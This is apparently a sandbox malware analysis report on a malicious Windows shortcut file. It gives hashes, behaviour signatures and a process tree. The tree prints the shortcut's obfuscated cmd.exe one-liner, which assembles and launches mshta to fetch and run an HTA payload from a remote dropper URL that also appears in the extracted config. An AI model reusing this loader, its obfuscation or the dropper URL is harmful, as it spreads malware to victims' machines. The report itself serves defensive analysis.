Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:25

General

  • Target
    DOC-S0E72C.lnk
  • Size 2KB
  • Sample260804-kbf5bsvflh
  • SHA256 33ff1756c7be5496c571d1672b7a4af37981d5f65b14d6d58e2ad4c8c85e1585
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-S0E72C.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4304
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/v:on/C"set JXp=cfgufftwdhdxiwhcfg&&set cInKM=cachedtsbzhvtphtacache&&set Vm=sysyepnxveoopyzypzksys&&set ji=bakqzwocmvaccufcguhbak&&set cnFs=datsdejmhdat&&set gqa=datbnybdat&&set Oyl=ur2ms&&set WP=wshtq&&set YMgJm=jbayi&&set HG=netcmlmdnet&&set FHIv=cacheanxxbrmqeclszcache&&set yY=istb&&set pSryT=na4&&set Wa=artuke&&set lvh=htt@ps:@//ma@-@p@dffi@[email protected]/h/@e@sta@gi@[email protected]@?r@=39@1469@FB@5D@8@2@D@B&&start /b !Oyl:~3,1!!WP:~1,3!!YMgJm:~2,1! !lvh:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3020
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:1088

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads